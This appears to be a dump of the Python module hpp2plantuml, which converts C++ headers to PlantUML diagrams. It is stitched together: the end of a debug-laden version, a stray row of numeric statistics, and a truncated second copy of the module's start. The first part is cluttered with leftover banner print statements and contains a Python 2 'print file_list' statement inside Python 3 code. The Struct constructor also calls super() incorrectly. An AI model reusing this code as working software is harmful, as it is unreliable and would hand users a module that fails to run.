flag_render_namespace)
# Link string
link_str += parent_str + ' ' + self._render_link_type() + \
' ' + child_str + '\n'
if namespace_wrap is not None:
return wrap_namespace(link_str, namespace_wrap)
return link_str
def _render_link_type(self):
"""Internal representation of link
The string representation is obtained from the `LINK_TYPE_MAP`
constant.
Returns
-------
str
The link between parent and child following the PlantUML syntax
"""
return LINK_TYPE_MAP[self._link_type]
# %% Class inheritance
class ClassInheritanceRelationship(ClassRelationship):
"""Representation of inheritance relationships
This module extends the base `ClassRelationship` class by setting the link
type to ``inherit``.
"""
def __init__(self, c_parent, c_child, **kwargs):
"""Constructor
Parameters
----------
c_parent : str
Parent class
c_child : str
Derived class
kwargs : dict
Additional parameters passed to parent class
"""
super().__init__('inherit', c_parent, c_child, **kwargs)
# %% Class aggregation
class ClassAggregationRelationship(ClassRelationship):
"""Representation of aggregation relationships
This module extends the base `ClassRelationship` class by setting the link
type to ``aggregation``. It also keeps a count of aggregation, which is
displayed near the arrow when using PlantUML.
Aggregation relationships are simplified to represent the presence of a
variable type (possibly within a container such as a list) in a class
definition.
"""
def __init__(self, c_object, c_container, c_count=1,
rel_type='aggregation', **kwargs):
"""Constructor
Parameters
----------
c_object : str
Class corresponding to the type of the member variable in the
aggregation relationship
c_container : str
Child (or client) class of the aggregation relationship
c_count : int
The number of members of ``c_container`` that are of type (possibly
through containers) ``c_object``
rel_type : str
Relationship type: ``aggregation`` or ``composition``
kwargs : dict
Additional parameters passed to parent class
"""
super().__init__(rel_type, c_object, c_container, **kwargs)
self._count = c_count
def _render_link_type(self):
"""Internal link rendering
This method overrides the default link rendering defined in
:func:`ClassRelationship._render_link_type` to include a count near the
end of the arrow.
"""
count_str = '' if self._count == 1 else '"%d" ' % self._count
return count_str + LINK_TYPE_MAP[self._link_type]
# %% Class dependency
class ClassDependencyRelationship(ClassRelationship):
"""Dependency relationship
Dependencies occur when member methods depend on an object of another class
in the diagram.
"""
def __init__(self, c_parent, c_child, **kwargs):
"""Constructor
Parameters
----------
c_parent : str
Class corresponding to the type of the member variable in the
dependency relationship
c_child : str
Child (or client) class of the dependency relationship
kwargs : dict
Additional parameters passed to parent class
"""
super().__init__('dependency', c_parent, c_child, **kwargs)
# %% Diagram class
class Diagram(object):
"""UML diagram object
This class lists the objects in the set of files considered, and the
relationships between object.
The main interface to the `Diagram` object is via the ``create_*`` and
``add_*`` methods. The former parses objects and builds relationship lists
between the different parsed objects. The latter only parses objects and
does not builds relationship lists.
Each method has versions for file and string inputs and folder string lists
and file lists inputs.
"""
def __init__(self, template_file=None, flag_dep=False):
"""Constructor
The `Diagram` class constructor simply initializes object lists. It
does not create objects or relationships.
"""
self._flag_dep = flag_dep
self.clear()
loader_list = []
if template_file is not None:
loader_list.append(jinja2.FileSystemLoader(
os.path.abspath(os.path.dirname(template_file))))
self._template_file = os.path.basename(template_file)
else:
self._template_file = 'default.puml'
loader_list.append(jinja2.PackageLoader('hpp2plantuml', 'templates'))
self._env = jinja2.Environment(loader=jinja2.ChoiceLoader(
loader_list), keep_trailing_newline=True)
def clear(self):
"""Reinitialize object"""
self._objects = []
self._inheritance_list = []
self._aggregation_list = []
self._dependency_list = []
def _sort_list(input_list):
"""Sort list using `ClassRelationship` comparison
Parameters
----------
input_list : list(ClassRelationship)
Sort list using the :func:`ClassRelationship.comparison_keys`
comparison function
"""
input_list.sort(key=lambda obj: obj.comparison_keys())
def sort_elements(self):
"""Sort elements in diagram
Sort the objects and relationship links. Objects are sorted using the
:func:`Container.comparison_keys` comparison function and list are
sorted using the `_sort_list` helper function.
"""
self._objects.sort(key=lambda obj: obj.comparison_keys())
for obj in self._objects:
obj.sort_members()
Diagram._sort_list(self._inheritance_list)
Diagram._sort_list(self._aggregation_list)
Diagram._sort_list(self._dependency_list)
def _build_helper(self, input, build_from='string', flag_build_lists=True,
flag_reset=False):
"""Helper function to initialize a `Diagram` object from parsed headers
Parameters
----------
input : CppHeader or str or list(CppHeader) or list(str)
Input of arbitrary type. The processing depends on the
``build_from`` parameter
build_from : str
Determines the type of the ``input`` variable:
* ``string``: ``input`` is a string containing C++ header code
* ``file``: ``input`` is a filename to parse
* ``string_list``: ``input`` is a list of strings containing C++
header code
* ``file_list``: ``input`` is a list of filenames to parse
flag_build_lists : bool
When True, relationships lists are built and the objects in the
diagram are sorted, otherwise, only object parsing is performed
flag_reset : bool
If True, the object is initialized (objects and relationship lists
are cleared) prior to parsing objects, otherwise, new objects are
appended to the list of existing ones
"""
if flag_reset:
self.clear()
if build_from in ('string', 'file'):
self.parse_objects(input, build_from)
elif build_from in ('string_list', 'file_list'):
print("ddddddddddddddddddddddddddddddddddddddddddd")
print(input)
build_from_single = re.sub('_list$', '', build_from)
print("build_from_single: " + build_from_single)
for single_input in input:
print(" - " + single_input)
self.parse_objects(single_input, build_from_single)
print("ddddddddddddddddddddddddddddddddddddddddddd")
if flag_build_lists:
self.build_relationship_lists()
self.sort_elements()
def create_from_file(self, header_file):
"""Initialize `Diagram` object from header file
Wrapper around the :func:`_build_helper` function, with ``file`` input,
building the relationship lists and with object reset.
"""
self._build_helper(header_file, build_from='file',
flag_build_lists=True, flag_reset=True)
def create_from_file_list(self, file_list):
"""Initialize `Diagram` object from list of header files
Wrapper around the :func:`_build_helper` function, with ``file_list``
input, building the relationship lists and with object reset.
"""
print("ccccccccccccccccccccccccccccccccccccccccccc")
print file_list
print("ccccccccccccccccccccccccccccccccccccccccccc")
self._build_helper(file_list, build_from='file_list',
flag_build_lists=True, flag_reset=True)
def add_from_file(self, header_file):
"""Augment `Diagram` object from header file
Wrapper around the :func:`_build_helper` function, with ``file`` input,
skipping building of the relationship lists and without object reset
(new objects are added to the object).
"""
self._build_helper(header_file, build_from='file',
flag_build_lists=False, flag_reset=False)
def add_from_file_list(self, file_list):
"""Augment `Diagram` object from list of header files
Wrapper around the :func:`_build_helper` function, with ``file_list``
input, skipping building of the relationship lists and without object
reset (new objects are added to the object).
"""
self._build_helper(file_list, build_from='file_list',
flag_build_lists=False, flag_reset=False)
def create_from_string(self, header_string):
"""Initialize `Diagram` object from header string
Wrapper around the :func:`_build_helper` function, with ``string``
input, building the relationship lists and with object reset.
"""
self._build_helper(header_string, build_from='string',
flag_build_lists=True, flag_reset=True)
def create_from_string_list(self, string_list):
"""Initialize `Diagram` object from list of header strings
Wrapper around the :func:`_build_helper` function, with ``string_list``
input, skipping building of the relationship lists and with object
reset.
"""
self._build_helper(string_list, build_from='string_list',
flag_build_lists=True, flag_reset=True)
def add_from_string(self, header_string):
"""Augment `Diagram` object from header string
Wrapper around the :func:`_build_helper` function, with ``string``
input, skipping building of the relationship lists and without object
reset (new objects are added to the object).
"""
self._build_helper(header_string, build_from='string',
flag_build_lists=False, flag_reset=False)
def add_from_string_list(self, string_list):
"""Augment `Diagram` object from list of header strings
Wrapper around the :func:`_build_helper` function, with ``string_list``
input, building the relationship lists and without object reset (new
objects are added to the object).
"""
self._build_helper(string_list, build_from='string_list',
flag_build_lists=False, flag_reset=False)
def build_relationship_lists(self):
"""Build inheritance and aggregation lists from parsed objects
This method successively calls the :func:`build_inheritance_list` and
:func:`build_aggregation_list` methods.
"""
self.build_inheritance_list()
self.build_aggregation_list()
if self._flag_dep:
self.build_dependency_list()
def parse_objects(self, header_file, arg_type='string'):
"""Parse objects
This method parses file of string inputs using the CppHeaderParser
module and extracts internal objects for rendering.
Parameters
----------
header_file : str
A string containing C++ header code or a filename with C++ header
code
arg_type : str
It set to ``string``, ``header_file`` is considered to be a string,
otherwise, it is assumed to be a filename
"""
# Parse header file
print("eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee")
print(" header_file: " + header_file)
print(" arg_type: " + arg_type)
print("eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee")
parsed_header = CppHeaderParser.CppHeader(header_file,
argType=arg_type)
print("fffffffffffffffffffffffffffffffffffffffffff")
print("parsed_header: ")
#print(parsed_header)
print("fffffffffffffffffffffffffffffffffffffffffff")
for container_type, container_iterator, \
container_handler in CONTAINER_TYPE_MAP:
objects = parsed_header.__getattribute__(container_type)
print("ggggggggggggggggggggggggggggggggggggggggggg")
print(" objects:")
print(objects)
print("ggggggggggggggggggggggggggggggggggggggggggg")
for obj in container_iterator(objects):
print("hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh")
print(" obj:")
print(obj)
print("hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh")
self._objects.append(container_handler(obj))
print("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx")
def _make_class_list(self):
"""Build list of classes
Returns
-------
list(dict)
Each entry is a dictionary with keys ``name`` (class name) and
``obj`` the instance of the `Class` class
"""
return [{'name': obj.get_name(), 'obj': obj}
for obj in self._objects if isinstance(obj, Class)]
def build_inheritance_list(self):
"""Build list of inheritance between objects
This method lists all the inheritance relationships between objects
contained in the `Diagram` object (external relationships are ignored).
The implementation establishes a list of available classes and loops
over objects to obtain their inheritance. When parent classes are in
the list of available classes, a `ClassInheritanceRelationship` object
is added to the list.
"""
self._inheritance_list = []
# Build list of classes in diagram
class_list_obj = self._make_class_list()
class_list = [c['name'] for c in class_list_obj]
flag_use_namespace = any([c['obj']._namespace for c in class_list_obj])
# Create relationships
# Inheritance
for obj in self._objects:
obj_name = obj.get_name()
if isinstance(obj, Class):
for parent in obj.build_inheritance_list():
if parent in class_list:
parent_obj = class_list_obj[
class_list.index(parent)]['obj']
self._inheritance_list.append(
ClassInheritanceRelationship(
parent_obj, obj,
flag_use_namespace=flag_use_namespace))
def build_aggregation_list(self):
"""Build list of aggregation relationships
This method loops over objects and finds members with type
corresponding to other classes defined in the `Diagram` object (keeping
a count of occurrences).
The procedure first builds an internal dictionary of relationships
found, augmenting the count using the :func:`_augment_comp` function.
In a second phase, `ClassAggregationRelationship` objects are created
for each relationships, using the calculated count.
"""
self._aggregation_list = []
# Build list of classes in diagram
# Build list of classes in diagram
class_list_obj = self._make_class_list()
class_list = [c['name'] for c in class_list_obj]
flag_use_namespace = any([c['obj']._namespace for c in class_list_obj])
# Build member type list
variable_type_list = {}
for obj in self._objects:
obj_name = obj.get_name()
if isinstance(obj, Class):
variable_type_list[obj_name] = obj.build_variable_type_list()
# Create aggregation links
aggregation_counts = {}
for child_class in class_list:
if child_class in variable_type_list.keys():
var_types = variable_type_list[child_class]
for var_type in var_types:
for parent in class_list:
if re.search(r'\b' + parent + r'\b', var_type):
rel_type = 'composition'
if '{}*'.format(parent) in var_type:
rel_type = 'aggregation'
self._augment_comp(aggregation_counts, parent,
child_class, rel_type=rel_type)
for obj_class, obj_comp_list in aggregation_counts.items():
for comp_parent, rel_type, comp_count in obj_comp_list:
obj_class_idx = class_list.index(obj_class)
obj_class_obj = class_list_obj[obj_class_idx]['obj']
comp_parent_idx = class_list.index(comp_parent)
comp_parent_obj = class_list_obj[comp_parent_idx]['obj']
self._aggregation_list.append(
ClassAggregationRelationship(
obj_class_obj, comp_parent_obj, comp_count,
rel_type=rel_type,
flag_use_namespace=flag_use_namespace))
def build_dependency_list(self):
"""Build list of dependency between objects
This method lists all the dependency relationships between objects
contained in the `Diagram` object (external relationships are ignored).
The implementation establishes a list of available classes and loops
over objects, list their methods adds a dependency relationship when a
method takes an object as input.
"""
self._dependency_list = []
# Build list of classes in diagram
class_list_obj = self._make_class_list()
class_list = [c['name'] for c in class_list_obj]
flag_use_namespace = any([c['obj']._namespace for c in class_list_obj])
# Create relationships
# Add all objects name to list
objects_name = []
for obj in self._objects:
objects_name.append(obj.get_name())
# Dependency
for obj in self._objects:
if isinstance(obj, Class):
for member in obj._member_list:
# Check if the member is a method
if isinstance(member, ClassMethod):
for method in member._param_list:
index = ValueError
try:
# Check if the method param type is a Class
# type
index = [re.search(o, method[0]) is not None
for o in objects_name].index(True)
except ValueError:
pass
if index != ValueError and \
method[0] != obj.get_name():
depend_obj = self._objects[index]
self._dependency_list.append(
ClassDependencyRelationship(
depend_obj, obj,
flag_use_namespace=flag_use_namespace))
def _augment_comp(self, c_dict, c_parent, c_child, rel_type='aggregation'):
"""Increment the aggregation reference count
If the aggregation relationship is not in the list (``c_dict``), then
add a new entry with count 1. If the relationship is already in the
list, then increment the count.
Parameters
----------
c_dict : dict
List of aggregation relationships. For each dictionary key, a pair
of (str, int) elements: string and number of occurrences
c_parent : str
Parent class name
c_child : str
Child class name
rel_type : str
Relationship type: ``aggregation`` or ``composition``
"""
if c_child not in c_dict:
c_dict[c_child] = [[c_parent, rel_type, 1], ]
else:
parent_list = [c[:2] for c in c_dict[c_child]]
if [c_parent, rel_type] not in parent_list:
c_dict[c_child].append([c_parent, rel_type, 1])
else:
c_idx = parent_list.index([c_parent, rel_type])
c_dict[c_child][c_idx][2] += 1
def render(self):
"""Render full UML diagram
The string returned by this function should be ready to use with the
PlantUML program. It includes all the parsed objects with their
members, and the inheritance and aggregation relationships extracted
from the list of objects.
Returns
-------
str
String containing the full string representation of the `Diagram`
object, including objects and object relationships
"""
template = self._env.get_template(self._template_file)
return template.render(objects=self._objects,
inheritance_list=self._inheritance_list,
aggregation_list=self._aggregation_list,
dependency_list=self._dependency_list,
flag_dep=self._flag_dep)
# %% Cleanup object type string
def _cleanup_type(type_str):
"""Cleanup string representing a C++ type
Cleanup simply consists in removing spaces before a ``*`` character and
preventing multiple successive spaces in the string.
Parameters
----------
type_str : str
A string representing a C++ type definition
Returns
-------
str
The type string after cleanup
"""
return re.sub(r'[ ]+([*&])', r'\1',
re.sub(r'(\s)+', r'\1', type_str))
# %% Single line version of string
def _cleanup_single_line(input_str):
"""Cleanup string representing a C++ type
Remove line returns
Parameters
----------
input_str : str
A string possibly spreading multiple lines
Returns
-------
str
The type string in a single line
"""
return re.sub(r'\s+', ' ', re.sub(r'(\r)?\n', ' ', input_str))
# %% Expand wildcards in file list
def expand_file_list(input_files):
"""Find all files in list (expanding wildcards)
This function uses `glob` to find files matching each string in the input
list.
Parameters
----------
input_files : list(str)
List of strings representing file names and possibly including
wildcards
Returns
-------
list(str)
List of filenames (with wildcards expanded). Each element contains the
name of an existing file
"""
file_list = []
for input_file in input_files:
file_list += glob.glob(input_file)
print("Input File: " + input_file)
return file_list
def wrap_namespace(input_str, namespace):
"""Wrap string in namespace
Parameters
----------
input_str : str
String containing PlantUML code
namespace : str
Namespace name
Returns
-------
str
``input_str`` wrapped in ``namespace`` block
"""
return 'namespace {} {{\n'.format(namespace) + \
'\n'.join([re.sub('^', '\t', line)
for line in input_str.splitlines()]) + \
'\n}\n'
# %% Main function
def CreatePlantUMLFile(file_list, output_file=None, **diagram_kwargs):
"""Create PlantUML file from list of header files
This function parses a list of C++ header files and generates a file for
use with PlantUML.
Parameters
----------
file_list : list(str)
List of filenames (possibly, with wildcards resolved with the
:func:`expand_file_list` function)
output_file : str
Name of the output file
diagram_kwargs : dict
Additional parameters passed to :class:`Diagram` constructor
"""
print("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
print("file_list: ")
print(file_list)
print("output_file: " + output_file)
print("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
if isinstance(file_list, str):
file_list_c = [file_list, ]
else:
file_list_c = file_list
print("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb")
print("file_list_c: ")
print(file_list_c)
print("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb")
diag = Diagram(**diagram_kwargs)
diag.create_from_file_list(list(set(expand_file_list(file_list_c))))
diag_render = diag.render()
if output_file is None:
print(diag_render)
else:
print("zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz")
print(diag_render)
print("zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz")
with open(output_file, 'wt') as fid:
fid.write(diag_render)
# %% Command line interface
def main():
"""Command line interface
This function is a command-line interface to the
:func:`hpp2plantuml.CreatePlantUMLFile` function.
Arguments are read from the command-line, run with ``--help`` for help.
"""
parser = argparse.ArgumentParser(description='hpp2plantuml tool.')
parser.add_argument('-i', '--input-file', dest='input_files',
action='append', metavar='HEADER-FILE', required=True,
help='input file (must be quoted' +
' when using wildcards)')
parser.add_argument('-o', '--output-file', dest='output_file',
required=False, default=None, metavar='FILE',
help='output file')
parser.add_argument('-d', '--enable-dependency', dest='flag_dep',
required=False, default=False, action='store_true',
help='Extract dependency relationships from method ' +
'arguments')
parser.add_argument('-t', '--template-file', dest='template_file',
required=False, default=None, metavar='JINJA-FILE',
help='path to jinja2 template file')
parser.add_argument('--version', action='version',
version='%(prog)s ' + '0.6')
args = parser.parse_args()
if len(args.input_files) > 0:
CreatePlantUMLFile(args.input_files, args.output_file,
template_file=args.template_file,
flag_dep=args.flag_dep)
# %% Standalone mode
if __name__ == '__main__':
main()
| 34.363767 | 79 | 0.607615 |
import os
import re
import glob
import argparse
import CppHeaderParser
import jinja2
MEMBER_PROP_MAP = {
'private': '-',
'public': '+',
'protected': '#'
}
LINK_TYPE_MAP = {
'inherit': '<|--',
'aggregation': 'o--',
'composition': '*--',
'dependency': '<..'
}
CONTAINER_TYPE_MAP = [
['classes', lambda objs: objs.items(), lambda obj: Class(obj)],
['structs', lambda objs: objs.items(), lambda obj: Struct(obj)],
['enums', lambda objs: objs, lambda obj: Enum(obj)]
]
class Container(object):
"""Base class for C++ objects
This class defines the basic interface for parsed objects (e.g. class).
"""
def __init__(self, container_type, name):
"""Class constructor
Parameters
----------
container_type : str
String representation of container type (``class``, ``struct`` or
``enum``)
name : str
Object name
"""
self._container_type = container_type
self._name = name
self._member_list = []
self._namespace = None
def get_name(self):
"""Name property accessor
Returns
-------
str
Object name
"""
return self._name
def parse_members(self, header_container):
"""Initialize object from header
Extract object from CppHeaderParser dictionary representing a class, a
struct or an enum object. This extracts the namespace.
Parameters
----------
header_container : CppClass, CppStruct or CppEnum
Parsed header for container
"""
namespace = header_container.get('namespace', None)
if namespace:
self._namespace = re.sub(':+$', '', namespace)
self._do_parse_members(header_container)
def _do_parse_members(self, header_container):
"""Initialize object from header (abstract method)
Extract object from CppHeaderParser dictionary representing a class, a
struct or an enum object.
Parameters
----------
header_container : CppClass, CppStruct or CppEnum
Parsed header for container
"""
raise NotImplementedError(
'Derived class must implement :func:`_do_parse_members`.')
def render(self):
"""Render object to string
Returns
-------
str
String representation of object following the PlantUML syntax
"""
container_str = self._render_container_def() + ' {\n'
for member in self._member_list:
container_str += '\t' + member.render() + '\n'
container_str += '}\n'
if self._namespace is not None:
return wrap_namespace(container_str, self._namespace)
return container_str
def comparison_keys(self):
"""Order comparison key between `ClassRelationship` objects
Use the parent name, the child name then the link type as successive
keys.
Returns
-------
list
`operator.attrgetter` objects for successive fields used as keys
"""
return self._container_type, self._name
def sort_members(self):
"""Sort container members
sort the list of members by type and name
"""
self._member_list.sort(key=lambda obj: obj.comparison_keys())
def _render_container_def(self):
"""String representation of object definition
Return the definition line of an object (e.g. "class MyClass").
Returns
-------
str
Container type and name as string
"""
return self._container_type + ' ' + self._name
class ContainerMember(object):
"""Base class for members of `Container` object
This class defines the basic interface for object members (e.g. class
variables, etc.)
"""
def __init__(self, header_member, **kwargs):
"""Constructor
Parameters
----------
header_member : str
Member name
"""
self._name = header_member
self._type = None
def render(self):
"""Render object to string (abstract method)
Returns
-------
str
String representation of object member following the PlantUML
syntax
"""
raise NotImplementedError('Derived class must implement `render`.')
def comparison_keys(self):
"""Order comparison key between `ClassRelationship` objects
Use the parent name, the child name then the link type as successive
keys.
Returns
-------
list
`operator.attrgetter` objects for successive fields used as keys
"""
if self._type is not None:
return self._type, self._name
else:
return self._name
class Class(Container):
"""Representation of C++ class
This class derived from `Container` specializes the base class to handle
class definition in C++ headers.
It supports:
* abstract and template classes
* member variables and methods (abstract and static)
* public, private, protected members (static)
"""
def __init__(self, header_class):
"""Constructor
Extract the class name and properties (template, abstract) and
inheritance. Then, extract the class members from the header using the
:func:`parse_members` method.
Parameters
----------
header_class : list (str, CppClass)
Parsed header for class object (two-element list where the first
element is the class name and the second element is a CppClass
object)
"""
print("iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii")
print(" header_class")
print(header_class)
print("iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii")
print(header_class[0])
print("iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii")
Container.__init__(self, 'class', header_class[0])
self._abstract = header_class[1]['abstract']
self._template_type = None
if 'template' in header_class[1]:
self._template_type = _cleanup_single_line(
header_class[1]['template'])
self._inheritance_list = [re.sub('<.*>', '', parent['class'])
for parent in header_class[1]['inherits']]
self.parse_members(header_class[1])
def _do_parse_members(self, header_class):
"""Initialize class object from header
This method extracts class member variables and methods from header.
Parameters
----------
header_class : CppClass
Parsed header for class
"""
member_type_map = [
['properties', ClassVariable],
['methods', ClassMethod]
]
for member_type, member_type_handler in member_type_map:
for member_prop in MEMBER_PROP_MAP.keys():
member_list = header_class[member_type][member_prop]
for header_member in member_list:
self._member_list.append(
member_type_handler(header_member, member_prop))
def build_variable_type_list(self):
"""Get type of member variables
This function extracts the type of each member variable. This is used
to list aggregation relationships between classes.
Returns
-------
list(str)
List of types (as string) for each member variable
"""
variable_type_list = []
for member in self._member_list:
if isinstance(member, ClassVariable):
variable_type_list.append(member.get_type())
return variable_type_list
def build_inheritance_list(self):
"""Get inheritance list
Returns
-------
list(str)
List of class names the current class inherits from
"""
return self._inheritance_list
def _render_container_def(self):
"""Create the string representation of the class
Return the class name with template and abstract properties if
present. The output string follows the PlantUML syntax.
Returns
-------
str
String representation of class
"""
class_str = self._container_type + ' ' + self._name
if self._abstract:
class_str = 'abstract ' + class_str
if self._template_type is not None:
class_str += ' <{0}>'.format(self._template_type)
return class_str
class ClassMember(ContainerMember):
"""Class member (variable and method) representation
This class is the base class for class members. The representation
includes the member type (variable or method), name, scope (``public``,
``private`` or ``protected``) and a static flag.
"""
def __init__(self, class_member, member_scope='private'):
"""Constructor
Parameters
----------
class_member : CppVariable or CppMethod
Parsed member object (variable or method)
member_scope : str
Member scope property: ``public``, ``private`` or ``protected``
"""
super().__init__(class_member['name'])
self._type = None
self._static = class_member['static']
self._scope = member_scope
self._properties = []
def render(self):
"""Get string representation of member
The string representation is with the scope indicator and a static
keyword when the member is static. It is postfixed by the type (return
type for class methods) and additional properties (e.g. ``const``
methods are flagged with the ``query`` property). The inner part of
the returned string contains the variable name and signature for
methods. This is obtained using the :func:`_render_name` method.
Returns
-------
str
String representation of member
"""
if len(self._properties) > 0:
props = ' {' + ', '.join(self._properties) + '}'
else:
props = ''
vis = MEMBER_PROP_MAP[self._scope] + \
('{static} ' if self._static else '')
member_str = vis + self._render_name() + \
(' : ' + self._type if self._type else '') + \
props
return member_str
def _render_name(self):
"""Get member name
By default (for member variables), this returns the member name.
Derived classes can override this to control the name rendering
(e.g. add the function prototype for member functions)
"""
return self._name
class ClassVariable(ClassMember):
"""Object representation of class member variables
This class specializes the `ClassMember` object for member variables.
Additionally to the base class, it stores variable types as strings. This
is used to establish aggregation relationships between objects.
"""
def __init__(self, class_variable, member_scope='private'):
"""Constructor
Parameters
----------
class_variable : CppVariable
Parsed class variable object
member_scope : str
Scope property to member variable
"""
assert(isinstance(class_variable,
CppHeaderParser.CppHeaderParser.CppVariable))
super().__init__(class_variable, member_scope)
self._type = _cleanup_type(class_variable['type'])
def get_type(self):
"""Variable type accessor
Returns
-------
str
Variable type as string
"""
return self._type
class ClassMethod(ClassMember):
"""Class member method representation
This class extends `ClassMember` for member methods. It stores additional
method properties (abstract, destructor flag, input parameter types).
"""
def __init__(self, class_method, member_scope):
"""Constructor
The method name and additional properties are extracted from the parsed
header.
* A list of parameter types is stored to retain the function signature.
* The ``~`` character is appended to destructor methods.
* ``const`` methods are flagged with the ``query`` property.
Parameters
----------
class_method : CppMethod
Parsed class member method
member_scope : str
Scope of the member method
"""
assert(isinstance(class_method,
CppHeaderParser.CppHeaderParser.CppMethod))
super().__init__(class_method, member_scope)
self._type = _cleanup_type(class_method['returns'])
if class_method['returns_pointer']:
self._type += '*'
elif class_method['returns_reference']:
self._type += '&'
self._abstract = class_method['pure_virtual']
if class_method['destructor']:
self._name = '~' + self._name
if class_method['const']:
self._properties.append('query')
self._param_list = []
for param in class_method['parameters']:
self._param_list.append([_cleanup_type(param['type']),
param['name']])
def _render_name(self):
"""Internal rendering of method name
This method extends the base :func:`ClassMember._render_name` method by
adding the method signature to the returned string.
Returns
-------
str
The method name (prefixed with the ``abstract`` keyword when
appropriate) and signature
"""
assert(not self._static or not self._abstract)
method_str = ('{abstract} ' if self._abstract else '') + \
self._name + '(' + \
', '.join(' '.join(it).strip()
for it in self._param_list) + ')'
return method_str
class Struct(Class):
"""Representation of C++ struct objects
This class derived is almost identical to `Class`, the only difference
being the container type name ("struct" instead of "class").
"""
def __init__(self, header_struct):
"""Class constructor
Parameters
----------
header_struct : list (str, CppStruct)
Parsed header for struct object (two-element list where the first
element is the structure name and the second element is a CppStruct
object)
"""
super().__init__(header_struct[0])
super(Class).__init__('struct')
class Enum(Container):
"""Class representing enum objects
This class defines a simple object inherited from the base `Container`
class. It simply lists enumerated values.
"""
def __init__(self, header_enum):
"""Constructor
Parameters
----------
header_enum : CppEnum
Parsed CppEnum object
"""
super().__init__('enum', header_enum.get('name', 'empty'))
self.parse_members(header_enum)
def _do_parse_members(self, header_enum):
"""Extract enum values from header
Parameters
----------
header_enum : CppEnum
Parsed `CppEnum` object
"""
for value in header_enum.get('values', []):
self._member_list.append(EnumValue(value['name']))
class EnumValue(ContainerMember):
"""Class representing values in enum object
This class only contains the name of the enum value (the actual integer
value is ignored).
"""
def __init__(self, header_value, **kwargs):
"""Constructor
Parameters
----------
header_value : str
Name of enum member
"""
super().__init__(header_value)
def render(self):
"""Rendering to string
This method simply returns the variable name
Returns
-------
str
The enumeration element name
"""
return self._name
class ClassRelationship(object):
"""Base object for class relationships
This class defines the common structure of class relationship objects.
This includes a parent/child pair and a relationship type (e.g. inheritance
or aggregation).
"""
def __init__(self, link_type, c_parent, c_child, flag_use_namespace=False):
"""Constructor
Parameters
----------
link_type : str
Relationship type: ``inherit`` or ``aggregation``
c_parent : str
Name of parent class
c_child : str
Name of child class
"""
self._parent = c_parent.get_name()
self._child = c_child.get_name()
self._link_type = link_type
self._parent_namespace = c_parent._namespace or None
self._child_namespace = c_child._namespace or None
self._flag_use_namespace = flag_use_namespace
def comparison_keys(self):
"""Order comparison key between `ClassRelationship` objects
Compare alphabetically based on the parent name, the child name then
the link type.
Returns
-------
list
`operator.attrgetter` objects for successive fields used as keys
"""
return self._parent, self._child, self._link_type
def _render_name(self, class_name, class_namespace, flag_use_namespace):
"""Render class name with namespace prefix if necessary
Parameters
----------
class_name : str
Name of the class
class_namespace : str
Namespace or None if the class is defined in the default namespace
flag_use_namespace : bool
When False, do not use the namespace
Returns
-------
str
Class name with appropriate prefix for use with link rendering
"""
if not flag_use_namespace:
return class_name
if class_namespace is None:
prefix = '.'
else:
prefix = class_namespace + '.'
return prefix + class_name
def render(self):
"""Render class relationship to string
This method generically appends the parent name, a rendering of the
link type (obtained from the :func:`_render_link_type` method) and the
child object name.
Returns
-------
str
The string representation of the class relationship following the
PlantUML syntax
"""
link_str = ''
namespace_wrap = None
if self._parent_namespace == self._child_namespace and \
self._parent_namespace is not None:
namespace_wrap = self._parent_namespace
flag_render_namespace = self._flag_use_namespace and not namespace_wrap
parent_str = self._render_name(self._parent, self._parent_namespace,
flag_render_namespace)
child_str = self._render_name(self._child, self._child_namespace,
flag_render_namespace)
link_str += parent_str + ' ' + self._render_link_type() + \
' ' + child_str + '\n'
if namespace_wrap is not None:
return wrap_namespace(link_str, namespace_wrap)
return link_str
def _render_link_type(self):
"""Internal representation of link
The string representation is obtained from the `LINK_TYPE_MAP`
constant.
Returns
-------
str
The link between parent and child following the PlantUML syntax
"""
return LINK_TYPE_MAP[self._link_type]
class ClassInheritanceRelationship(ClassRelationship):
"""Representation of inheritance relationships
This module extends the base `ClassRelationship` class by setting the link
type to ``inherit``.
"""
def __init__(self, c_parent, c_child, **kwargs):
"""Constructor
Parameters
----------
c_parent : str
Parent class
c_child : str
Derived class
kwargs : dict
Additional parameters passed to parent class
"""
super().__init__('inherit', c_parent, c_child, **kwargs)
class ClassAggregationRelationship(ClassRelationship):
"""Representation of aggregation relationships
This module extends the base `ClassRelationship` class by setting the link
type to ``aggregation``. It also keeps a count of aggregation, which is
displayed near the arrow when using PlantUML.
Aggregation relationships are simplified to represent the presence of a
variable type (possibly within a container such as a list) in a class
definition.
"""
def __init__(self, c_object, c_container, c_count=1,
rel_type='aggregation', **kwargs):
"""Constructor
Parameters
----------
c_object : str
Class corresponding to the type of the member variable in the
aggregation relationship
c_container : str
Child (or client) class of the aggregation relationship
c_count : int
The number of members of ``c_container`` that are of type (possibly
through containers) ``c_object``
rel_type : str
Relationship type: ``aggregation`` or ``composition``
kwargs : dict
Additional parameters passed to parent class
"""
super().__init__(rel_type, c_object, c_container, **kwargs)
self._count = c_count
def _render_link_type(self):
"""Internal link rendering
This method overrides the default link rendering defined in
:func:`ClassRelationship._render_link_type` to include a count near the
end of the arrow.
"""
count_str = '' if self._count == 1 else '"%d" ' % self._count
return count_str + LINK_TYPE_MAP[self._link_type]
class ClassDependencyRelationship(ClassRelationship):
"""Dependency relationship
Dependencies occur when member methods depend on an object of another class
in the diagram.
"""
def __init__(self, c_parent, c_child, **kwargs):
"""Constructor
Parameters
----------
c_parent : str
Class corresponding to the type of the member variable in the
dependency relationship
c_child : str
Child (or client) class of the dependency relationship
kwargs : dict
